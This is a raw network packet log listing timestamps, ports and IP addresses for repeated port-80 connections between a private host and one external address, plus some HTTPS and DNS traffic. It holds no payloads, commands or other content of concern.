Sep 30, 2024 09:53:26.382878065 CEST	80	50798	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:26.382937908 CEST	80	50797	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:26.382946014 CEST	50798	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:26.382987022 CEST	50797	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:26.383107901 CEST	50798	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:26.387912035 CEST	80	50798	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:27.090174913 CEST	80	50798	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:27.090331078 CEST	50798	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:28.596400023 CEST	50798	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:28.596782923 CEST	50799	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:28.601582050 CEST	80	50798	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:28.601598024 CEST	80	50799	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:28.601636887 CEST	50798	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:28.601680994 CEST	50799	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:28.601818085 CEST	50799	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:28.606589079 CEST	80	50799	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:29.332514048 CEST	80	50799	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:29.334956884 CEST	50799	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:30.968518019 CEST	50799	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:30.968844891 CEST	50800	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:30.974848032 CEST	80	50799	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:30.974894047 CEST	80	50800	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:30.974910021 CEST	50799	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:30.974952936 CEST	50800	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:30.975079060 CEST	50800	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:30.981230974 CEST	80	50800	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:31.664186954 CEST	80	50800	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:31.664304972 CEST	50800	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:32.091561079 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:32.091597080 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:32.091793060 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:32.093066931 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:32.093079090 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:32.740041018 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:32.740361929 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:32.740375996 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:32.740700006 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:32.741105080 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:32.741164923 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:32.794238091 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:33.172781944 CEST	50800	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:33.173115969 CEST	50802	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:33.376516104 CEST	80	50802	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:33.376910925 CEST	50802	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:33.377319098 CEST	80	50800	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:33.377351046 CEST	50802	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:33.377432108 CEST	50800	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:33.382095098 CEST	80	50802	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:34.071892977 CEST	80	50802	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:34.074868917 CEST	50802	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:35.687216043 CEST	50802	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:35.687216043 CEST	50803	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:35.692145109 CEST	80	50803	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:35.692264080 CEST	50803	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:35.692341089 CEST	50803	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:35.692814112 CEST	80	50802	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:35.692881107 CEST	50802	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:35.697047949 CEST	80	50803	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:36.399343967 CEST	80	50803	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:36.399427891 CEST	50803	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:37.908044100 CEST	50804	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:37.908127069 CEST	50803	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:37.912962914 CEST	80	50804	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:37.914887905 CEST	50804	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:37.914978027 CEST	50804	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:37.922727108 CEST	80	50803	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:37.922848940 CEST	80	50804	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:37.922918081 CEST	50803	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:38.639662981 CEST	80	50804	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:38.639723063 CEST	50804	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:40.282841921 CEST	50804	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:40.283338070 CEST	50805	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:40.288026094 CEST	80	50804	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:40.288075924 CEST	50804	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:40.288157940 CEST	80	50805	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:40.288234949 CEST	50805	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:40.288383961 CEST	50805	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:40.293103933 CEST	80	50805	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:40.978066921 CEST	80	50805	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:40.978151083 CEST	50805	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:42.485483885 CEST	50805	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:42.485821962 CEST	50806	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:42.491144896 CEST	80	50806	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:42.491221905 CEST	50806	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:42.491270065 CEST	80	50805	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:42.491328001 CEST	50805	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:42.491431952 CEST	50806	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:42.496943951 CEST	80	50806	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:42.995834112 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:42.995908022 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:42.995994091 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:43.215142012 CEST	80	50806	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:43.215223074 CEST	50806	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:44.507309914 CEST	50801	443	192.168.2.5	142.250.74.196
Sep 30, 2024 09:53:44.507354021 CEST	443	50801	142.250.74.196	192.168.2.5
Sep 30, 2024 09:53:44.517632008 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:44.517678976 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:44.517738104 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:44.517978907 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:44.517990112 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:44.720621109 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:44.720683098 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:44.720743895 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:44.721210957 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:44.721225977 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:44.831260920 CEST	50806	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:44.831835032 CEST	50809	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:44.836877108 CEST	80	50806	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:44.836924076 CEST	50806	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:44.837744951 CEST	80	50809	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:44.837820053 CEST	50809	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:44.838004112 CEST	50809	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:44.842820883 CEST	80	50809	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:45.159229994 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.159600019 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.159620047 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.160109997 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.160465956 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.160531998 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.160856962 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.160907030 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.160911083 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.594295025 CEST	80	50809	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:45.594502926 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.594661951 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.594765902 CEST	50809	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:45.594791889 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.595518112 CEST	50807	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.595530987 CEST	443	50807	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.602026939 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.602489948 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.602572918 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.603856087 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.606127977 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.606127977 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.606173038 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.606225967 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.606247902 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.654814959 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.879400969 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.879749060 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:45.880940914 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.882592916 CEST	50808	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:53:45.882632971 CEST	443	50808	142.250.186.78	192.168.2.5
Sep 30, 2024 09:53:47.111430883 CEST	50809	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:47.111835957 CEST	50810	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:47.116563082 CEST	80	50809	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:47.116621971 CEST	50809	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:47.116715908 CEST	80	50810	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:47.116782904 CEST	50810	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:47.116952896 CEST	50810	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:47.121881962 CEST	80	50810	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:47.832603931 CEST	80	50810	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:47.832838058 CEST	50810	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:49.452882051 CEST	50811	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:49.452892065 CEST	50810	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:49.564457893 CEST	80	50811	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:49.564660072 CEST	80	50810	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:49.564769030 CEST	50811	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:49.564771891 CEST	50810	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:49.564994097 CEST	50811	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:49.573811054 CEST	80	50811	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:50.295052052 CEST	80	50811	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:50.295110941 CEST	50811	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:51.829382896 CEST	50811	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:51.832926035 CEST	50812	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:51.834924936 CEST	80	50811	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:51.835017920 CEST	50811	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:51.837896109 CEST	80	50812	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:51.837995052 CEST	50812	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:51.838119030 CEST	50812	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:51.843110085 CEST	80	50812	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:52.561716080 CEST	80	50812	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:52.561786890 CEST	50812	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:54.188138008 CEST	50812	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:54.188163996 CEST	50813	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:54.193665028 CEST	80	50813	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:54.193720102 CEST	80	50812	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:54.193818092 CEST	50812	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:54.193958998 CEST	50813	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:54.194006920 CEST	50813	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:54.200814962 CEST	80	50813	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:54.914731026 CEST	80	50813	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:54.914808989 CEST	50813	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:56.422749043 CEST	50813	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:56.423162937 CEST	50814	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:56.429106951 CEST	80	50814	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:56.429189920 CEST	50814	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:56.429236889 CEST	80	50813	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:56.429282904 CEST	50813	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:56.429440975 CEST	50814	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:56.435815096 CEST	80	50814	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:57.161528111 CEST	80	50814	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:57.161623955 CEST	50814	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:58.768754959 CEST	50814	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:58.769172907 CEST	50815	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:58.774219036 CEST	80	50815	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:58.774261951 CEST	80	50814	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:58.774313927 CEST	50815	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:58.774334908 CEST	50814	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:58.774513006 CEST	50815	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:53:58.779345036 CEST	80	50815	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:59.482717037 CEST	80	50815	185.215.113.43	192.168.2.5
Sep 30, 2024 09:53:59.486963034 CEST	50815	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:01.001215935 CEST	50815	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:01.001621008 CEST	50816	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:01.006547928 CEST	80	50815	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:01.006594896 CEST	80	50816	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:01.006642103 CEST	50815	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:01.006686926 CEST	50816	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:01.006870031 CEST	50816	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:01.011706114 CEST	80	50816	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:01.717927933 CEST	80	50816	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:01.718004942 CEST	50816	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:03.328761101 CEST	50816	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:03.330828905 CEST	50817	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:03.334206104 CEST	80	50816	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:03.334928989 CEST	50816	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:03.335702896 CEST	80	50817	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:03.338988066 CEST	50817	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:03.339078903 CEST	50817	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:03.343892097 CEST	80	50817	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:04.034559011 CEST	80	50817	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:04.034653902 CEST	50817	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:05.547873974 CEST	50817	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:05.547873974 CEST	50818	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:05.553168058 CEST	80	50818	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:05.553405046 CEST	80	50817	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:05.553510904 CEST	50817	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:05.553510904 CEST	50818	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:05.553675890 CEST	50818	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:05.558487892 CEST	80	50818	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:06.267688036 CEST	80	50818	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:06.267992020 CEST	50818	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:07.894840002 CEST	50818	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:07.894844055 CEST	50819	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:07.976212978 CEST	80	50819	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:07.976355076 CEST	80	50818	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:07.978082895 CEST	50818	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:07.978087902 CEST	50819	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:07.978087902 CEST	50819	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:07.982989073 CEST	80	50819	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:08.688263893 CEST	80	50819	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:08.688344002 CEST	50819	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:10.205040932 CEST	50820	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:10.205044031 CEST	50819	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:10.210016966 CEST	80	50820	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:10.210150003 CEST	50820	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:10.210275888 CEST	50820	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:10.214238882 CEST	80	50819	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:10.214328051 CEST	50819	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:10.215059042 CEST	80	50820	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:10.933959961 CEST	80	50820	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:10.934014082 CEST	50820	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:11.497818947 CEST	54560	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:11.502805948 CEST	53	54560	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:11.502919912 CEST	54560	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:11.502958059 CEST	54560	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:11.507896900 CEST	53	54560	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:12.075602055 CEST	53	54560	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:12.094890118 CEST	54560	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:12.100086927 CEST	53	54560	1.1.1.1	192.168.2.5
Sep 30, 2024 09:54:12.100210905 CEST	54560	53	192.168.2.5	1.1.1.1
Sep 30, 2024 09:54:12.566585064 CEST	50820	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:12.566854954 CEST	54562	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:12.571633101 CEST	80	54562	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:12.571707964 CEST	54562	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:12.571738958 CEST	80	50820	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:12.571844101 CEST	54562	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:12.571873903 CEST	50820	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:12.576565981 CEST	80	54562	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:13.290909052 CEST	80	54562	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:13.291064978 CEST	54562	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:14.797627926 CEST	54562	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:14.797928095 CEST	54563	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:14.816092014 CEST	80	54562	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:14.816158056 CEST	54562	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:14.816181898 CEST	80	54563	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:14.816257000 CEST	54563	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:14.816473961 CEST	54563	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:14.823951960 CEST	80	54563	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:15.766134977 CEST	80	54563	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:15.766200066 CEST	80	54563	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:15.766285896 CEST	54563	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:15.819802046 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:15.819849968 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:15.820193052 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:15.820533991 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:15.820542097 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.001991987 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.002032995 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.002979040 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.006865978 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.006877899 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.493128061 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.493870020 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.493891954 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.494422913 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.494987011 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.495080948 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.495198011 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.495229959 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.495302916 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.714231014 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.714690924 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.714706898 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.715218067 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.715557098 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.715636969 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.715913057 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.715933084 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.715944052 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.777420998 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.777597904 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.777656078 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.778125048 CEST	54564	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.778147936 CEST	443	54564	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.994679928 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.995228052 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:16.995286942 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.997711897 CEST	54565	443	192.168.2.5	142.250.186.78
Sep 30, 2024 09:54:16.997725964 CEST	443	54565	142.250.186.78	192.168.2.5
Sep 30, 2024 09:54:17.390853882 CEST	54563	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:17.391119957 CEST	54566	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:17.402089119 CEST	80	54563	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:17.402170897 CEST	80	54566	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:17.402200937 CEST	54563	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:17.402628899 CEST	54566	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:17.402731895 CEST	54566	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:17.414836884 CEST	80	54566	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:18.131409883 CEST	80	54566	185.215.113.43	192.168.2.5
Sep 30, 2024 09:54:18.131506920 CEST	54566	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:54:19.640367031 CEST	54566	80	192.168.2.5	185.215.113.43
